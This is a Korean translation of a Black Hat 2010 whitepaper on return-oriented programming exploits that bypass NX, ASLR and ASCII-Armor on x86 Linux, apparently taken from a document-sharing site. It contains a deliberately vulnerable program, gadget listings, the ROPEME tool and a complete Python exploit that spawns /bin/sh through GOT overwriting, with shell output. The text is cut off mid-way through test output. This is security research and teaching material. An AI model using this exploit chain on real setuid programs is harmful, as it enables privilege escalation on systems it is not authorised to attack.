PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS Black Hat USA 2010 Whitepaper longld at vnsecurity.net Abstract return-to-libc(rtl) 와 burrowed-cod

Size: px
Start display at page:

Download "PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS Black Hat USA 2010 Whitepaper longld at vnsecurity.net Abstract return-to-libc(rtl) 와 burrowed-cod"

Transcription

1 PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS Black Hat USA 2010 Whitepaper longld at vnsecurity.net Abstract return-to-libc(rtl) 와 burrowed-code-chunks 기법에기반을두고있는 Return-oriented programming (ROP) 는 NX를우회하기위한말이많은공격기법중하나이다. 이것은 exploitations on Windows, iphone OS DEP bypass 그리고 code signing 같은실질적인기술에이용된다. 최근의리눅스배포판에서는 ASCII-Armor address mapping(libc 주소의시작이 NULL byte) 그리고 Address Space Layout Randomization(ASLR) 이 RTL/ROP에대응하기위해기본적으로설정되어있다. 이문서에서는우리가어떻게고전적인 RTL 기법을발전시켜단계적으로 ASLR 그리고 ASCII- Armor를우회하고최근의 x86 Linux 시스템에서의 ROP/RTL 공격을쉽게하는지보여줄것이다. 추가적으로코드를재사용하는것뿐만아니라바이너리자체의 data 또한이용하여 ASLR을우회하고 RTL 또는 ROP 체인을구성할수있다. Keywords : return-oriented-programming, return-to-libc, ASLR, NX, ASCII-armor, buffer overflow, exploitation 1 Introduction Buffer overflow 취약점은 30여년전부터현재까지유효하고, 많이알려져있다. 어플리케이션과시스템레벨에서의수많은 BOF 대응기법들이개발되어왔다. 이문서에서는최근의리눅스배포판에서사용할수있는 DEP, ASRL 그리고 ASCII-Armor를포함한진보된시스템레벨의방어기법들에초점을맞출것이다. BOF 공격은 full ASLR과 NX를포함한최근의리눅스배포판에서는더욱더어렵다. 이러한배포판들은 ASLR과 NS를우회하는일반적인해결책은알수없다. 전통적인 code injection attack [1] 은 NX가실행된시스템에서는더이상동작하지않는다. Return-to-libc [2] 라는널리알려진공격은 NX를우회하기위해개발됐다. RTL은 ret-to-libc call 체인 (setuid(), system( /bin/sh )) 을만드는것이요구된다. 이러한것은 esp lifting 그리고 frame faking [3] 과같은고급기법을통해할수있

2 다. 최근에는 ret-to-libc와 borrowed code chunks [4] 에기반한 Return-Oriented- Programming(ROP) 공격 [5], 새로운공격기법으로써다양한시스템의 NX/DEP를우회한다. returning into libc functions를대신해서 ROP에서는가젯 (gadget) 이라불리는 ret 인스트럭션으로끝나는코드덩어리로리턴한다. 충분한숫자의가젯만있다면우리는임의의연산을 ROP을통해수행할수있다. ret-to-libc와 ROP을이용하면 NX를우회할수있다. 하지만이것은여전히 ASLR과 ASCII-Armor 에대한문제점을가지고있다. 공격자는랜덤화된 libc function의주소와 function 인자들의주소를해결할수있다. 입력한 NULL 바이트는문자열처리함수에의해 drop 될수있다. ASLR을우회하기위해서공격자는랜덤화된주소또는포맷스트링버그같은정보누출취약점을공략하기위해 brute-forcing [6] 을이용한다. Brute-forcing은랜덤화로인한낮은불확실성속에서 library 주소를공략할수있다. ROP의발전과함께 surgical precision 기법 [7] 은 GOT 덮어쓰기와역참조를통해 ASLR을우회할수있게발전되었다. 이기법은 ret-to-libc 공격의랜덤화된 library 주소를해결할수있게했으나랜덤화된스택의문제는여전히남아있다. 이문서에서는 return-oriented 기법으로 buffer overflow 공격을이용해최신의 x86 리눅스에서 NX, ASLR 그리고 ASCII-Armor를우회하는것을단계적으로소개할것이다. 이기법은진보된 ret-to-libc의조합과확장으로써 NX와 runtime에서의 ASLR을우회하여 libc주소의문제점을해결한다. NULL 바이트문제와 ASCII-Armor는 stage-0의로더 (loader) 를이용해우회할것이다. 첫번째로고정된위치에서의 custom stack을만들고 stage-1 에서의 ret-to-libc의 call 체인또는 ROP 가젯을이용한실제 payload를이용한다. 이것은 section 2.2 에서보여줄쓰기가능한모든메모리위치에서의공격을쉽게한다. 두번째로 stage-0의로더를이용해 custom stack에실제 payload를전송한다. section 2.3에서는 stage-0의로더가취약한바이너리에서만들어진 payload에서재사용한 data byte 들을어떻게구성할지보여줄것이다. stage-0의마지막에는 stack frame을 custom stack으로변경하고그곳에서실제 payload를실행할것이다. section 3.1에서는 stage-0 의일반적인기법으로만들어진것을대체할만한어떤것을보여줄것이다. 마지막으로 sectioni 2.4와 2.5에서는 stage-1의 payload를위한 ROP과어떤보통의계획을통해 runtime시에 libc 주소의문제를어떻게해결하는지설명할것이다. 2 Multistage return-oriented exploitation technique 2.1 The sample vulnerable program 아래의간단한스택기반의 buffer overflow code 를이용해기법을증명할것이다.

3 // vuln.c // gcc -o vuln vuln.c -fno-stack-protector -fno-pie -mpreferred-stack-boundary=2 #include <string.h> #include <stdio.h> int main (int argc, char **argv) { char buf[256]; int i; seteuid (getuid()); if (argc < 2) { puts ("Need an argument\n"); exit (1); } // vulnerable code strcpy (buf, argv[1]); printf ("%s\nlen:%d\n", buf, (int)strlen(buf)); return (0); } 위의코드는컴파일과실행환경은 Fedora 13 x86, kernel 이고 ASLR과 Exec-Shield이다. 이프로그램을공격하기위해서 ROP/ret-to-libc call의 chain을만들어야하고 payload에는반드시 NULL 바이트가포함되지않아야한다. 2.2 A Custom stack at fixed location 만약고정된위치의 custom stack을만들수있을때그곳으로점프를하고실행이계속되면아래의문제점들을해결할수있다. 랜덤화된스택주소즉 ASLR을우회 ret-to-libc call 체인의인자들이요구하는정확한위치 섹션에서 ROP 가젯인 leave 인스트럭션을통해흐름을컨트롤 우리의목적을위한.data 또는.bss 영역같이위치에독립적인바이너리 (PIC) 는고정된위치를쉽게찾아낼수있다. 아래는 readelf의결과이다.

4 Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL [ 1].interp PROGBITS A [ 2].note.ABI-tag NOTE A [ 3].note.gnu.build-i NOTE A [ 4].gnu.hash GNU_HASH c 00018c A [ 5].dynsym DYNSYM ac 0001ac 0000b0 10 A [ 6].dynstr STRTAB c 00025c A [ 7].gnu.version VERSYM d0 0002d A [ 8].gnu.version_r VERNEED e8 0002e A [ 9].rel.dyn REL A [10].rel.plt REL A [11].init PROGBITS AX [12].plt PROGBITS a0 04 AX [13].text PROGBITS dc 00 AX [14].fini PROGBITS c 00060c 00001c 00 AX [15].rodata PROGBITS A [16].eh_frame_hdr PROGBITS A [17].eh_frame PROGBITS c 00 A [18].ctors PROGBITS f0 0006f WA [19].dtors PROGBITS f8 0006f WA [20].jcr PROGBITS WA [21].dynamic DYNAMIC c8 08 WA [22].got PROGBITS cc 0007cc WA [23].got.plt PROGBITS d0 0007d WA [24].data PROGBITS WA [25].bss NOBITS WA [26].comment PROGBITS c 01 MS [27].shstrtab STRTAB fc [28].symtab SYMTAB ddc [29].strtab STRTAB c custom stack을위치시킬곳으로 0x 를선택할수있다. 사실 0x x0804a000 사이의주소를선택할수도있지만목적에맞으려면영역이길어야하고, 정적이며, 사전에알수있어야하고, 쓰기가능하며사이즈가커야한다 ( 적어도 4096byte). 몇가지 custom stack을선택하기위한조건 : NULL 값을피하기위해서는마지막바이트가값이작은주소를선택해야한다., e.g : 0x

5 GOT 테이블안의 entry들을덮어쓰지않도록조심해야한다. 스택은아래로자라기때문에 data page의시작점에만들지않아야한다. e.g 0x 영역은후에 ret-to-libc 호출에실패를불러올수있다. 일반적인경우.data 또는.bss 영역의뒤쪽은 custom stack으로선택하기에안전하다. payload를구성하기에완벽한고정된 custom stack을가지게됐으니다음문제는코드가실행되는동안철저하게모르는함수를 ROP/ret-to-libc 에서요구하는 payload를 custom stack에전송하는지이다. 다음섹션에서는어떻게진부한 ret-to-libc 기법을발전시켜 stage-0 loader를통해다음 stage의 payload를 custom stack으로전송할지보여줄것이다. 2.3 Stage-0 payload loader stack 기반의 BOF 취약점이있는바이너리실행을컨트롤할때우리는 stack 또한컨트롤할수있다. 최신커널의 full ASLR 환경에서 stack이랜덤이고이것은주소추축을어렵게한다. 또한 ASCII-Armor 때문에 libc 주소영역은 NULL byte로시작하기때문에입력한문자열함수의흐름을멈추게한다. memcpy() 또는 strcpy() 와같은메모리를전달하는함수들을이용해 payload를새로운장소에복사를할거지만소스에는의존하진않는다. 이아이디어는꽤나단순하고직관적이다. (payload를 custom stack에복사하는대신 return-to-plt와 esp lifting 기법을이용해 payload를 byte-per-byte 값으로전송할것이다 return to-plt 위치에독립적이지않은바이너리안에서 PLT(Procedure Linkage Table) 섹션은고정된주소로매핑된다. 때문에 payload를목적에맞게전송시킬수있는 PLT 내의함수로리턴시킬수있다.

6 gdb$ disassemble main Dump of assembler code for function main: 0x080484e4 <+0>: push ebp 0x080484e5 <+1>: mov ebp,esp 0x080484e7 <+3>: and esp,0xfffffff0 0x080484ea <+6>: sub esp,0x120 0x080484f0 <+12>: call 0x80483e8 0x080484f5 <+17>: mov DWORD PTR [esp],eax 0x080484f8 <+20>: call 0x x080484fd <+25>: cmp DWORD PTR [ebp+0x8],0x1 0x <+29>: jg 0x804851b <main+55> 0x <+31>: mov DWORD PTR [esp],0x x a <+38>: call 0x80483f8 0x f <+43>: mov DWORD PTR [esp],0x1 0x <+50>: call 0x x b <+55>: mov eax,dword PTR [ebp+0xc] 0x e <+58>: add eax,0x4 0x <+61>: mov eax,dword PTR [eax] 0x <+63>: mov DWORD PTR [esp+0x4],eax 0x <+67>: lea eax,[esp+0x1c] 0x b <+71>: mov DWORD PTR [esp],eax 0x e <+74>: call 0x80483c8 0x <+79>: lea eax,[esp+0x1c] 0x <+83>: mov DWORD PTR [esp],eax 0x a <+86>: call 0x80483b8 0x f <+91>: mov edx,eax 0x <+93>: mov eax,0x x <+98>: mov DWORD PTR [esp+0x8],edx 0x a <+102>: lea edx,[esp+0x1c] 0x e <+106>: mov DWORD PTR [esp+0x4],edx 0x <+110>: mov DWORD PTR [esp],eax 0x <+113>: call 0x80483d8 0x a <+118>: mov eax,0x0 0x f <+123>: leave 0x <+124>: ret End of assembler dump. 분명히 strcpy(), sprint(), scanf(), memcpy() 와같은메모리전송함수는사용할수있다. 여기서는 strcpy() / sprintf() 를입력에서 NULL byte를피하는것으로선택했다.(strcpy() 와 sprint() 는동일하게하나또는그이상의 byte를현재위치에서다른위치로복사한다.

7 payload를 custom stack으로전송하기위해서바이너리내의 stack의 layout은아래와같을것이다. pop-pop-ret custom_stack_address address_of_desired_byte_1 pop-pop-ret custom_stack_address+1 address_of_desired_byte_2... pop-pop-ret custom_stack_address+n address_of_desired_byte_n pop-pop-ret 가젯은함수의에필로그또는 ROP 가젯카탈로그를찾기쉽게해준다. 아래는 vuln 프로그램에서가젯들을찾은것이다. 0x80484b3L: pop ebx ; pop ebp ; ret 0x80485d7L: pop edi ; pop ebp ; ret strcpy() / sprint() 의유용성 Fedora 13 Live CD로설치한리눅스의 /bin, /sbin, /usr/sbin, /usr/bin 내의사이즈가 20KB 이상이고 strcpy() 또는 sprint() 를사용한 916개바이너리를조사한결과 66.5% 의바이너리가사용중이였다. 이결과는취약한프로그램내의 strcpy() / sprint() 의사용빈도가높고많은경우에서우리의방법을지원한다는결론을알수있다. 전체적인해결책이될이방식을만들어낼지는섹션 3.1.1에서어떻게어떤 PLT 함수를 GOT에덮어쓰는기법을이용해 strcpy() / sprint() 로전환함으로써보여줄것이다. byte 값들의유용성 Fedora 13 Live CD로설치한리눅스의 /bin, /sbin, /usr/sbin, /usr/bin 내의 916개바이너리를조사한결과사이즈가 20KB 이상이고각 1byte(0x00~0xff) 의 256개값을다포함한바이너리는 98.7% 라는것을알아냈다. 비록몇개의 byte가누락되었더라도 payload를없는값들을피하도록조정해서 payload를구성할수있다 The loader stage-0의 payload loader 는다음과같이동작한다. 다음 stage에서나올 NULL을비롯한여러 byte 값들을포함한 payload를순서대로입력한것을받는다. 입력한하나또는그이상의 byte들각각길이가가장긴하위문자열의바이너리에서검색하여매칭되는문자열의주소를가져온다. 만약주소값안에 0x0(NULL) 이있다면다음매치되는곳에서찾는다. section 2.3.1에서설명한 strcpy() 의흐름을만든다. 위의 2 단계를 byte가남지않을때까지반복한다. stage-0의 payload에서는 NULL byte가없다. 다음 stage의 payload에서는 ASCII-Armor를효과적으로우회하여 NULL byte가포함된어떤값을 custom stack으로복사할것이다.

8 아래의 stage-0 payload 의예제에서 /bin/sh 문자열이 0x 에위치한것을볼수있다. --- PLT entries --- Function Address exit 0x gmon_start 0x puts 0x80483f8 strcpy 0x80483c8 libc_start_main 0x80483a8 seteuid 0x printf 0x80483d8 getuid 0x80483e8 strlen 0x80483b8 pop-pop-ret gadget: 0x80484b3: pop ebx ; pop ebp ; ret Byte values and stack layout 0x : 0x2f '/' ['0x80483c8', '0x80484b3', '0x ', '0x '] 0x : 0x62 'b' ['0x80483c8', '0x80484b3', '0x ', '0x '] 0x804813d : 0x696e 'in' ['0x80483c8', '0x80484b3', '0x ', '0x804813d'] 0x : 0x2f '/' ['0x80483c8', '0x80484b3', '0x ', '0x '] 0x804887f : 0x 'sh\x00' ['0x80483c8', '0x80484b3', '0x ', '0x804887b'] stage-0의마지막에선다음 stage로넘어가기위해 stack pointer를 custom stack으로옮겨야한다. 이방법은함수의 epilogue를이용해리턴하는방식대신 frame-faking 기법으로어떤 ROP 가젯을통해 ESP 레지스터를변경할수있다. 아래에대부분의바이너리안에있는유용하고많이사용되는가젯들이있다. pop ebp; ret # load the custom stack address leave; ret # switch to new stack frame or mov esp, ebp; pop ebp; ret 이제 static stack을구성하고원하는 payload를 custom stack에전송할수있다. 이제 stage-1의 payload로이동할수있다. 앞으로해결할문제는 ret-to-libc와 ROP을통해 NX와 ASLR을우회하는것이다. 다음 section에서는어떻게 ret-to-libc 공격을구성하여랜덤인런타임의 libc 함수의

9 주소를해결할지보여줄것이다. 2.4 Resolving libc addresses libc 함수주소에 brute-forcing을할수있지만이것은제대로된랜덤화가아니므로여기서설명하진않겠다. 이 section에선어떻게 GOT 덮어쓰기와 GOT 역참조기법을통해 libc 주소의랜덤화를해결할지보여줄것이다. Fedora 10 x86에서는 GOT 덮어쓰기는 95% GOT 역참조는 49.5% 의성공률을보였다. 이제위의기법을발전시켜어떤바이너리에서도 100% 의성공률을보여줄것이다 GOT overwriting GOT 덮어쓰기는 format string exploit에서쓰이는유명한기법이다. 우리가의도하는건 PLT entry call을계기로함수의 GOT entry의내용을타겟함수의값으로덮어쓰는것이다. libc의함수주소들이랜덤적이긴하지만두함수사이의오프셋은변함이없다. offset = execve() - printf() execve() = printf() + offset printf() 의 GOT entry에부합하는 printf() 의호출이끝난후첫번째로 libc 런타임주소가포함될것이다. execve() 와함께 printf() 의 GOT entry를덮어쓰기위해서값을로드해더하고 GOT 메모리영역으로저장하는몇개의가젯이필요하다. vuln 바이너리의경우에아래의가젯들을찾았다. pop ecx ; pop ebx ; leave; ret (1) pop ebp; ret (2) add [ebp+0x5b042464] ecx ; pop ebp; ret (3) 우리는 offset(printf@got) 을 ECX에로드할것이다. ECX는 add가젯을통해 EBP+0x5b042464와더해진뒤 execve() 의주소를 printf@got에쓴다. 잘알다시피 ECX에로드할가젯 (1) 을따르는 leave 인스트럭션과사용되지않는만약스택이랜덤이라면 leave 이후에실행의컨트롤이느슨해질수있다. 사전에알려진고정된주소에로드된 custom stack 문제가아니다. 우리는많은 GOT 엔트리를덮어쓰는스탭을반복하며우리가원하는 PLT 엔트리를통해특정 ret-to-libc 콜체인을만든다. GOT 덮어쓰기를위한코드의 stack layout 은아래와같다.

10 --- PLT entries --- Function Address... printf 0x80483d GOT table --- Function Address... printf 0x80497f0... Offset value: execve() = 0x09de10 printf() = 0x049cf0 offset = 0x54120 Gadgets address: 0x : pop ecx ; pop ebx ; leave ; ret 9/21 0x80484b4: pop ebp ; ret 0x80484ae: add [ebp+0x5b042464] ecx ; pop ebp ; ret GOT dereferencing 이기법은 GOT 덮어쓰기와비슷하나메모리합계결과를쓰는대신레지스터를더하고 call reg; ret 또는 jmp reg 가젯을통해점프를한다. vuln 바이너리의경우에아래의가젯을찾았다. pop eax ; pop ebx ; leave ; ret (1) add eax [ebx-0xb8a0008] ; lea esp [esp+0x4] ; pop ebx ; pop ebp ; ret (2) call eax ; leave ; ret (3)

11 다시말하지만 leave 가후행에포함되는유용한가젯들은 custom static stack 을해결할수있다. call eax 이후에우리의스택으로리턴되면특정 ret-to-libc 콜체인을만드는순서를반복한다. GOT dereferencing 코드를위한 stack layout은다음과같다. --- PLT entries --- Function Address... printf 0x80483d GOT table --- Function Address... printf 0x80497f0... Offset value: execve() = 0x09de10 printf() = 0x049cf0 offset = 0x54120 Gadgets address: 0x80484b4: pop ebp ; ret 0x : pop eax ; pop ebx ; leave ; ret 0x80485fe: add eax [ebx-0xb8a0008] ; lea esp [esp+0x4] ; pop ebx ; pop ebp ; ret 0x80484e0: call eax ; leave ; ret Availability of GOT manipulation gadgets section 과 의 GOT overwriting 과 dereferencing 가젯을위한 vuln 바이너리를검사하고

12 이것이 main() 함수에속하지않지만 GCC 컴파일러에서만들어진보조함수인지찾는다. 이것은이가젯을최신의리눅스배포판에서 GCC로컴파일한어떤바이너리에서도찾을수있다는것을의미한다. GOT overwriting gadgets: 0x <_fini+24>: pop ecx 0x <_fini+25>: pop ebx 0x <_fini+26>: leave 0x <_fini+27>: ret 0x80484ae < do_global_dtors_aux+78>: add DWORD PTR [ebp+0x5b042464],ecx 0x80484b4 < do_global_dtors_aux+84>: pop ebp 0x80484b5 < do_global_dtors_aux+85>: ret GOT dereferencing gadgets: 0x <_init+44>: pop eax 0x <_init+45>: pop ebx 0x <_init+46>: leave 0x <_init+47>: ret 0x80485fe < do_global_ctors_aux+30>: add eax,dword PTR [ebx-0xb8a0008] 0x < do_global_ctors_aux+36>: lea esp,[esp+0x4] 0x < do_global_ctors_aux+40>: pop ebx 0x < do_global_ctors_aux+41>: pop ebp 0x804860a < do_global_ctors_aux+42>: ret 2.5 Stage-1 payload 우리는 stage-1 payload를위한많은계획이있기때문에일이수월해졌다. 만약우리가단지몇개의함수호출을만들어낼필요가있었다면, ret-to-libc 체인은충분하다. 만약우리가 bind shell 과같은복잡한업무를수행해야한다면우리는아마쉘코드를바로실행하길원할것이다. 이번 section에서는우리는많은최신의리눅스배포판들에서 NX를우회해서 stage-1 payload를위한몇개의평범한계획들을보여줄것이다 Chanined ret-to-libc calls 이것은 NX를우회하는가장기본적인방법이다. 몇몇 Grsecurity, SELinux와같은추가적인커널단패치의제한은몇몇시스템콜의실행을막는다. esp lifting을위해 ROP 가젯은도움을준다. 우리는추가적으로 2개의인자와함께함수호출을만들수있다. vuln 프로그램의경우아래와같은가젯을찾을수있다. 0x80485d5: pop ebx ; pop esi ; pop edi ; pop ebp ; ret (1) 0x80485d2: add esp 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret (2) 가젯 (1) 은 1~4개의인자와함께함수호출을사용할수있고, 가젯 (2) 는특정갯수 (11 이상 ) 의인자

13 로함수호출을사용할수있다. ret-to-libc 체인호출의단점으로는 : a) 임의의코드를같이수행할수없다. e.g: loop, 조건부 jump b) 스택에위치할필요가있는다음함수를호출하는이전의호출에서리턴하는값을다루는게쉽지않다. c) 복잡한쉘코드 (e.g: bind shell, reverse shell) 를수행하는것이순수한 ret-to-libc가복잡해질수있다. 이러한단점들은 ROP 가젯으로보완함으로써극복할수있다. 예를들어, 함수호출 ( 보통 eax에저장된값 ) 로리턴되는값은 libc에서찾을수있는메모리저장가젯으로 custom stack에위치시킬수있다. pop edx ; ret mov [edx+0x18], eax; ret 이가젯들의주소는 GOT overwriting 기법으로호출된런타임의바이너리에서구할수있다 Return-to-mprotect mprotect() 제한은수년전에 PaX 프로젝트에서소개되었지만메인커널에통합되지않았고많은최신리눅스배포판에실리지않았다. mprotect() 제한이걸리지않은시스템에서는 ret-tomprotect(), ret-to-memcopy(), ret-to-shellcode 체인을이용해 NX를우회할수있다 ROP shellcode 우리가원하는특정연산을 libc 내의많은수의 ROP 가젯을이용해효과적으로 libc addresses와 ASCII-Armor 문제를해결하였다. custom static stack 또한 ROP shellcode를제작하는것을더욱쉽게만들어준다. 3 Practical ROP exploit 3.1 A complete stage-0 loader section 2.4.1에서우리가추정한취약한바이너리내의 strcpy()/sprint() 는유용하고이것을 stage- 0의로더를이용해사용할수있다. 이번 section에서는우리의아이디어를발전시켜서 stage-0 로더를일반적인해결책이되도록그리고어떤취약한프로그램에서도동작하게끔만들것이다 Turn any function to strcpy() / sprint() 만약바이너리내에 strcpy() / sprint() 가존재하지않는다면우리는 section 2.4.1에서설명한 GOT overwriting 기법을이용해특정 libc 함수를 strcpy()/sprint() 로바꿀수있다. 우리는 NULL byte와 trailing leave 문제점을해결할몇가지트릭이필요하다. 어떻게 vuln 프로그램내의 printf() 를 strcpy() 로바꿀수있는지자세하게알아보자.

14 Dealing with trailing leave section 2.4.1에서우리는 GOT overwriting을위해아래가젯을이용했다. pop ecx ; pop ebx ; leave; ret (1) pop ebp; ret (2) add [ebp+0x5b042464] ecx ; pop ebp; ret (3) stage-0에서스택은랜덤이기때문에 trailing leave 와함께 ECX에값을로드하는 gadget(1) 은사용할수없다. 대신, 우리는 ECX 레지스터의값을스택에올려진인자값들로고쳐서함수로리턴할것이다. 그러한종류의함수들은바이너리내의 Linux syscall table을참조해쉽게찾을수있다. vuln 프로그램의경우우리가원하는특정 euid로 seteuid() 로리턴할수있다. 호출이실패할수있지만 ECX레지스터에로드된값과함께실행을계속할수있을것이다. 이트릭은 EAX, EBX, EDX와같은다른레지스터를똑같이지원한다. Dealing with NULL byte in offset 입력중 NULL byte 피하기위해서는하나의부정값을두번의 add 를실행한다. 예를들어 GOT 엔트리에 offset 값인 0x54120을더한값에 0x 을더하고나서 0xbec3ffdf를더한다. 또다른트릭으로는 GOT 주소의한 byte를낮은방향으로 shft하고새로운 offset을계산한다. execve() = 0x09de10 printf() = 0x049cf0 offset = (0x539e10 << 8 + 1) - (0x4e5cf0 << 8) = 0x ROP stage-0 loader 크기가큰바이너리에서우리는아래와같은 leave 가딸려오지않는 load 와 add 가젯을찾을수있다. pop ecx; ret (1) pop ebp; ret (2) add [ebp+0x5b042464] ecx; ret (3) custom stack 주소는 EBP에로드되고 ECX에로드된 payload의값과함께 4-byte를한값으로전송하여 stage-0로더에서위의가젯들을사용할수있다. 알려진대로우리는이방식과함께우리의 custom stack을위한설정하지않은데이터영역을선택할수있다. 3.2 Practical ROP gadgets catalog 이론적으로크기가큰바이너리 (e.g libc) 에서어떤연산이든실행하는특정 ROP 가젯목록들을빌드할수있다. 실제로는, ROP 익스플로잇을빌드하기위해서우리는 section2에서보여준특정

15 바이너리에서찾을수있는몇몇가젯들이필요하다. ROP 익스플로잇을개발하기위해서는뒤에오는가젯들이충분히 sound 하도록바이너리안을검색해야한다. pop r32; ret add [r32 + offset] r32; ret add r32, [r32 + offset]; ret (optional) call r32; ret (optional) jmp r32 (optional) 가젯들을작고포괄적으로목록을유지하면우리는높은휴대성의 ROP 익스플로잇툴을자동으로쉽게빌드할수있다. 4 Putting all together 우리는바이너리내에서 ROP 가젯들을만들고, 저장하고검색하는 ROPEME (ROP Exploit Made Easy) 라불리는툴로증명을할것이다. 우리는몇개의명령어들그리고결과를저장하고다음의트리를위해 RET(0xc3) 코드가붙는바이너리를찾았다. 복사된가젯들은또한잘못된문자들을피하기위해대체된주소들이저장된다. 추가적으로, 우리는 stage-1과 stage-0 페이로드 generator로전의섹션에서논의된 ROP exploit 자동화를시도했다. ROP 가젯의생성과검색에사용되는쉘의예 : $./ropeme/ropshell.py Simple ROP interactive shell: [generate, load, search] gadgets ROPeMe> help Available commands: type help <command> for detail generate Generate ROP gadgets for binary load Load ROP gadgets from file search Search ROP gadgets shell Run external shell commands ^D Exit ROPeMe> generate vuln 3 Generating gadgets for vuln with backward depth=3 It may take few minutes depends on the depth and file size... Processing code block 1/1 Generated 58 gadgets Dumping asm gadgets to file: vuln.ggt... OK ROPeMe> help search Search for ROP gadgets, support wildcard matching?, % Usage: search gadget [-exclude_instruction] Example: search mov eax? # search for all gadgets contains "mov eax"

16 Example: search add [ eax % ] % # search for all gadgets starting with "add [eax" Example: search pop eax % -leave # search for all gadgets starting with "pop eax" and not contains "leave" ROPeMe> search add [ % Searching for ROP gadget: add [ % with constraints: [] Searching for ROP gadget: add [ % with constraints: [] 0x L: add [eax+0x5b] bl ; leave ;; 0x804855eL: add [eax] al ; add [eax] al ; leave ;; 0x L: add [eax] al ; add [ebx-0x7f] bl ;; 0x L: add [eax] al ; add [ebx-0x7f] bl ;; 0x804855fL: add [eax] al ; add cl cl ;; 0x L: add [eax] al ; leave ;; 0x80484aeL: add [ebp+0x5b042464] ecx ; pop ebp ;; 0x L: add [ebx-0x7f] bl ;; 0x L: add [ebx-0x7f] bl ;; ROPeMe> search pop? Searching for ROP gadget: pop? with constraints: [] 0x80484b4L: pop ebp ;; 0x L: pop ebp ;; 0x80485d8L: pop ebp ;; 아래는 ROP/ret-to-libc call 체인이포함된 vuln 프로그램의 exploit 코드이다. #!/usr/bin/env python import struct import os import sys from ropeme.payload import * # exploit template def exploit(program, libc, memdump = ""): # turn debug = 1 for verbose output P = ROPPayload(program, libc, memdump, debug = 0) # these gadgets can be found by ropshell.py or ropsearch.py ### start ### # pop ecx ; pop ebx ; leave ;; = 0x # pop ebp ;; = 0x80484b4 # add [ebp+0x5b042464] ecx ; pop ebp ;; = 0x80484ae ### end ### P.gadget_address["addmem_popr1"] = 0x P.gadget_address["addmem_popr2"] = 0x80484b4

17 P.gadget_address["addmem_add"] = 0x80484ae P.gadget_address["ret"] = 0x # to avoid unavailable byte value # set the custom stack address if required P.stack = 0x # pick getuid() as the target function for GOT overwriting target = "getuid" # stage-1: overwrite GOT entry of target function with setreuid() stage1 = P.got_overwrite(target, target, "setreuid", trailing_leave = 1, leave_offset = -16, got_offset = 0x5b042464) # stage-1: call setreuird() via PLT to restore ruid/euid to nobody = 99 stage1 += P.stage1_setreuid(target, -1, 99) stage1 += P.stage1_setreuid(target, 99, -1) # stage-1: overwrite GOT entry of target functuon with execve() # which already points to setreuid() in previous step stage1 += P.got_overwrite(target, "setreuid", "execve", 1, -16, 0x5b042464) # stage-1: call execve("/bin/sh") via PLT stage1 += P.stage1_execve(target, "/bin/sh") # generate stage-0 stage0 = P.gen_stage0("strcpy", stage1, badchar = [0x00], format = "raw") # padding data padding = P.hex2str(P.gadget_address["ret"]) * 70 payload = padding + stage0 # launch the vulnreable os.execve(program, [program, payload], os.environ) if ( name == " main "): import sys try: program = sys.argv[1] except: pass libc = "/lib/libc.so.6" try: libc = sys.argv[2] except: pass exploit(program, libc) 이익스플로잇은 Fedora13 에서동작하고 NX, ASLR, ASCII-Armor mapping 을우회한다.

18 demo]$ ls -l vuln -rwsr-xr-x. 1 nobody longld 5301 Jun 27 03:33 vuln [longld@fedora13 demo]$ id uid=500(longld) gid=500(longld) groups=500(longld) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [longld@fedora13 paxtest-0.9.9]$./paxtest blackhat PaXtest - Copyright(c) 2003,2004 by Peter Busser <peter@adamantix.org> Released under the GNU Public Licence version 2 or later Mode: blackhat Linux fedora fc13.i686 #1 SMP Thu May 6 18:44:12 UTC 2010 i686 i686 i386 GNU/Linux Executable anonymous mapping : Killed Executable bss : Killed Executable data : Killed Executable heap : Killed Executable stack : Killed Executable shared library bss : Vulnerable Executable shared library data : Vulnerable Executable anonymous mapping (mprotect) : Vulnerable Executable bss (mprotect) : Vulnerable Executable data (mprotect) : Vulnerable Executable heap (mprotect) : Killed Executable stack (mprotect) : Vulnerable Executable shared library bss (mprotect) : Vulnerable Executable shared library data (mprotect): Vulnerable Writable text segments : Vulnerable Anonymous mapping randomisation test : 12 bits (guessed) Heap randomisation test (ET_EXEC) : 13 bits (guessed) Heap randomisation test (PIE) : 18 bits (guessed) Main executable randomisation (ET_EXEC) : No randomisation Main executable randomisation (PIE) : 12 bits (guessed) Shared library randomisation test : 12 bits (guessed) Stack randomisation test (SEGMEXEC) : 19 bits (guessed) Stack randomisation test (PAGEEXEC) : 19 bits (guessed) Return to function (strcpy) : Vulnerable Return to function (memcpy) : Vulnerable Return to function (strcpy, PIE) : Vulnerable Return to function (memcpy, PIE) : Vulnerable [longld@fedora13 demo]$./exploit.py vuln Loading asm gadgets from file: vuln.ggt... Loaded 58 gadgets ELF base address: 0x [ useless output ] Len:1524

19 bash-4.1$ id uid=99(nobody) gid=500(longld) groups=99(nobody),500(longld) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 bash-4.1$ 다른배포판 (e.g: Ubuntu, Hardened Gentoo) 에서는사용할수없는바이트값들을피하기위해페이로드의조정의필요성이요구된다. 이익스플로잇은 Gentoo Hardened에서잘동작한다. ~/paxtest $./paxtest blackhat PaXtest - Copyright(c) 2003,2004 by Peter Busser <peter@adamantix.org> Released under the GNU Public Licence version 2 or later Mode: blackhat Linux gen hardened-r2rd #5 SMP Tue Mar 9 01:43:46 MYT 2010 i686 Intel(R) Core(TM)2 Duo CPU 2.40GHz GenuineIntel GNU/Linux Executable anonymous mapping : Killed Executable bss : Killed Executable data : Killed Executable heap : Killed Executable stack : Killed Executable shared library bss : Killed Executable shared library data : Killed Executable anonymous mapping (mprotect) : Killed Executable bss (mprotect) : Killed Executable data (mprotect) : Killed Executable heap (mprotect) : Killed Executable stack (mprotect) : Killed Executable shared library bss (mprotect) : Killed Executable shared library data (mprotect): Killed Writable text segments : Killed Anonymous mapping randomisation test : 17 bits (guessed) Heap randomisation test (ET_EXEC) : 23 bits (guessed) Heap randomisation test (PIE) : 23 bits (guessed) Main executable randomisation (ET_EXEC) : 15 bits (guessed) Main executable randomisation (PIE) : 15 bits (guessed) Shared library randomisation test : 17 bits (guessed) Stack randomisation test (SEGMEXEC) : 23 bits 